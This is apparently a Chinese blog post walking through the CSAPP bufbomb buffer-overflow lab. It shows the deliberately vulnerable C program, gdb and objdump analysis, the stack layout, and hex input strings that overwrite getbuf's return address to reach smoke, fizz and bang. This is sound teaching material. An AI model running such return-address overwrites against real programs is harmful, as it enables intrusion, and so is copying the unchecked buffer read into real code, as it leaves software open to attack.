- 浏览: 70396 次
- 性别:
- 来自: 杭州
最新评论
csapp (《深入理解计算机系统》)一书中有一个关于缓冲区溢出的实验,其程序代码如下:
/* Bomb program that is solved using a buffer overflow attack */ #include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <signal.h> #include <unistd.h> /* Signal handler to catch bus errors */ void bushandler(int sig) { printf("Crash!: You caused a bus error!\n"); printf("Better luck next time\n"); exit(0); } /* Signal handler to catch segmentation violations */ void seghandler(int sig) { printf("Ouch!: You caused a segmentation fault!\n"); printf("Better luck next time\n"); exit(0); } /* Alarm handler to catch infinite loops */ static int alarm_time = 600; void alarmhandler(int sig) { printf("Dead!: getbuf didn't complete within %d seconds\n", alarm_time); printf("Better luck next time\n"); exit(0); } /* Illegal instruction handler */ void illegalhandler(int sig) { printf("Oops!: You executed an illegal instruction\n"); printf("Better luck next time\n"); exit(0); } /* Like gets, except that characters are typed as pairs of hex digits. Nondigit characters are ignored. Stops when encounters newline */ char *getxs(char *dest) { int c; int even = 1; /* Have read even number of digits */ int otherd = 0; /* Other hex digit of pair */ char *sp = dest; while ((c = getchar()) != EOF && c != '\n') { if (isxdigit(c)) { int val; if ('0' <= c && c <= '9') val = c - '0'; else if ('A' <= c && c <= 'F') val = c - 'A' + 10; else val = c - 'a' + 10; if (even) { otherd = val; even = 0; } else { *sp++ = otherd * 16 + val; even = 1; } } } *sp++ = '\0'; return dest; } int getbuf() { char buf[16]; getxs(buf); return 1; } void test() { int val; printf("Type Hex String: "); val = getbuf(); printf("getbuf returned 0x%x\n", val); } void smoke() { printf("Smoke: You called smoke()\n"); exit(0); } void fizz(int val) { if (val == 0xdeadbeef) { printf("Fizz!: You called fizz (0x%x)\n", val); } else { printf("Misfire: You called fizz (0x%x)\n", val); } exit(0); } int global_value = 0; void bang() { if (global_value == 0xdeadbeef) { printf("Bang!: You set global_value to 0x%x\n", global_value); } else { printf("Misfire: global_value = 0x%x\n", global_value); } exit(0); } int main() { int buf[16]; /* This little hack is an attempt to get the stack to be in a stable position */ int offset = (((int) buf) & 0xFFFF); int *space = (int *) alloca(offset); *space = 0; /* So that don't get complaint of unused variable */ signal(SIGSEGV, seghandler); signal(SIGBUS, bushandler); signal(SIGALRM, alarmhandler); signal(SIGILL, illegalhandler); /* Set up time out condition */ alarm(alarm_time); test(); return 0; }
要求程序输出 Smoke!: You called smoke()
我所使用的系统环境(archlinux 2010.05, gcc 4.5.2, gdb 7.2, objdump(bintuils) 2.21):
该问题中关键的两个函数是test和getbuf,需要了解执行这两个函数的栈帧布局。
先运行
gcc -o bufbomb -g -Wall bufbomb.c
objdump -d bufbomb > bufbomb.s
这两条命令得到bufbomb.s,该文件中test和getbuf对应内容如下:
080486a6 <getbuf>: 80486a6: 55 push %ebp 80486a7: 89 e5 mov %esp,%ebp 80486a9: 83 ec 28 sub $0x28,%esp 80486ac: 8d 45 e8 lea -0x18(%ebp),%eax 80486af: 89 04 24 mov %eax,(%esp) 80486b2: e8 20 ff ff ff call 80485d7 <getxs> 80486b7: b8 01 00 00 00 mov $0x1,%eax 80486bc: c9 leave 80486bd: c3 ret 080486be <test>: 80486be: 55 push %ebp 80486bf: 89 e5 mov %esp,%ebp 80486c1: 83 ec 28 sub $0x28,%esp 80486c4: b8 ef 89 04 08 mov $0x80489ef,%eax 80486c9: 89 04 24 mov %eax,(%esp) 80486cc: e8 63 fd ff ff call 8048434 <printf@plt> 80486d1: e8 d0 ff ff ff call 80486a6 <getbuf> 80486d6: 89 45 f4 mov %eax,-0xc(%ebp) 80486d9: b8 01 8a 04 08 mov $0x8048a01,%eax 80486de: 8b 55 f4 mov -0xc(%ebp),%edx 80486e1: 89 54 24 04 mov %edx,0x4(%esp) 80486e5: 89 04 24 mov %eax,(%esp) 80486e8: e8 47 fd ff ff call 8048434 <printf@plt> 80486ed: c9 leave 80486ee: c3 ret
最左侧部分是汇编指令的内存地址,其中与 printf("getbuf returned 0x%x\n", val); 这一句对应的汇编语句为:
80486e1: 89 54 24 04 mov %edx,0x4(%esp) 80486e5: 89 04 24 mov %eax,(%esp) 80486e8: e8 47 fd ff ff call 8048434 <printf@plt>
其中的printf指令地址为0x080486e8,由于intel处理器采用小端法表示,所以实际表示为e8860408
执行gdb bufbomb命令,在getbuf函数设置断点(用break getbuf)
执行run命令,程序跳转至getbuff,然后用info reg查看寄存器内容,得到ebp值为0xbffeffb8
根据上面的反汇编结果可以知道,调用getbuf函数时的栈帧(假设是地址从高向低排列)表示如下:
---------------
-----------------
---------------
getbuf 返回地址
----------------
ebp
------------------
暂为空
-----------------
暂为空
----------------
buf[12]-buf[15]
----------------
buf[8]-buf[11]
----------------
buf[4]-buf[7]
----------------
buf[0]-buf[3]
-----------------
在从getbuf返回后,我们要求输出smoke函数内容,即将smoke的返回地址(0x080486ef,即ef860408)压入到getbuf所在地址处。因为smoke函数没有函数参数,所以不需要多余的处理.
接着运行bufbomb程序,提示输入字符串,我输入的字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf ef 86 04 08
输出结果为:Smoke: You called smoke()
其中前面24个字节为空(其实这些内容可以为任意值),接下来是ebp地址,它需要保持原来的内容。再然后是smoke函数的返回地址。
现在还没有完全完成所有的实验,还可以将返回地址设为fizz或者bang函数,然后也可以得到不同的输出结果。
例如,如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ,此时得到输出结果为:Misfire: You called fizz (0xb773bff4)
如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ef be ad de ef be ad de
可以得到输出结果为:Fizz!: You called fizz (0xdeadbeef)
这个例子中使用了fizz的返回地址(0x0804870d,可以在上面的反汇编代码中找到fizz标记左侧的地址即是,还有fizz的形参的内容不做修改和修改为0xefbeadde时 的情况)
如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 52 87 04 08 ,得到输出结果为Misfire: global_value = 0x0
如果输入字符串为00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 64 87 04 08 ,得到输出结果为Bang!: You set global_value to 0x0
这个例子是直接跳转到bang的返回地址(0x08048752)或者printf(“Bang!: You set global_value to 0x0")语句对应汇编语句的首地址(0x08048764)
参考链接:
buffer overflow on wikipedia
发表评论
-
最小c编译器
2011-11-08 14:09 1420最小c编译器(来源 (最好在linux下操作))代码有好几个 ... -
the development of c language(转)
2011-11-08 09:25 1094c语言之父Dennis Ritchie 写的关于c语言开发历 ... -
C语言,你真的弄懂了么?
2011-11-07 12:42 1723程序(来源 ): #include <stdi ... -
pe文件格式实例解析
2011-11-07 10:05 0环境:windows xp 速龙3000+(即x86兼容32位 ... -
小型elf "Hello,World"程序
2011-11-06 23:59 1320参考链接:http://timelessname.com/el ... -
elf文件格式实例解析
2011-11-05 23:00 6277试验环境:archlinux 速龙3000+(即x86兼 ... -
高质量的c源代码
2011-11-03 10:18 1091现在自由软件及开源软件越来越流行,有大量的附带源程序 ... -
fltk 库
2011-09-26 19:47 1770fltk是一个小型、开源、支持OpenGL 、跨平台(win ... -
《Introduction to Computing Systems: From bits and gates to C and beyond》
2011-09-25 23:33 2115很好的一本计算机的入门书,被很多学校采纳作为教材,作者Yale ... -
the blocks problem(uva 101 or poj 1208)
2011-09-11 20:57 1802题目描述见:uva 101 or poj 1208 ... -
the blocks problem(uva 101 or poj 1208)
2011-09-11 20:56 0题目描述见:uva 101 or poj 1208 ... -
部分排序算法c语言实现
2011-09-02 14:51 988代码比较粗糙,主要是用于对排序算法的理解,因而忽略了边界和容错 ... -
编译器开发相关资源
2011-08-31 08:40 1167开发编译器相关的一些网络资源: how difficu ... -
zoj 1025 Wooden Sticks
2011-07-23 20:25 940题目见:zoj 1025 先对木棒按照长度进行排序,然后再计 ... -
zoj 1088 System Overload
2011-07-23 17:30 1138约瑟夫环 (josephus problem )问题, ... -
zoj 1091 Knight Moves
2011-07-23 09:05 815题目见zoj 1091 使用宽度搜索优先来求解, ... -
zoj 1078 palindrom numbers
2011-07-22 19:31 1119题目见zoj 1078 主要是判断一个整数在基数为2 ... -
zoj 1006 do the untwist
2011-07-22 13:24 901题目见zoj 1006 或poj 1317 简单 ... -
zoj 3488 conic section
2011-07-22 12:23 966题目见zoj 3488 很简单的题目,却没能一次搞定,因 ... -
zoj 1005 jugs
2011-07-22 11:43 806题目内容见zoj1005 由于A,B互素且A的容 ...
相关推荐
中科大程序设计与计算机系统,缓冲区溢出实验,亲测可用
csapp六个重要实验之lab3 bufbomb 实验报告
csapp经典炸弹实验,通过gdb和objdump的工具的使用,以及对汇编代码的理解找到程序在栈中已存在的数据或者汇编代码本身的代码逻辑。从而根据固有信息确定输入,使得炸弹得以解除
深入理解计算机系统(csapp)实验材料,包含了所有实验的文件,材料
CSAPP性能优化实验,我这里做了三个优化,供大家参考。里面还有一个网上下载的PPT讲解,提供给大家学习
CSAPP的malloc实验,里面有我详细的代码解释、可执行文件还有一个讲解的PPT
湖南大学CSAPP课程实验LAB1,主要涉及8086汇编程序的编写,ubuntu程序的编译,有报告,有代码。
CSAPP实验5(动态内存分配器)资料
中科大程序设计与计算机系统,实验4,代码优化,亲测可用,版本优化相当高
中科大csapp课程实验,内附代码,可以在控制台运行。,,
CSAPP lab2 实验指导说明 供大家做实验用
csapp的malloc实验分析,malloc实验比较难,相信这个文档会对你有所帮助
《深入理解计算机系统》csapp实验七Molloc Lab测试文件
BUPT计算机系统csapp四次实验报告
CSAPP lab5 实验材料
CSAPP 六个重要实验 lab4 实验指导书
CSAPP 六个重要实验 lab4 实验材料
CSAPP实验bomb拆炸弹实验,这个实验总体蛮有趣的。里面有详细的代码、破解过程和报告。
CSAPP lab3 实验指导说明
CSAPP 六个重要实验 lab2 实验材料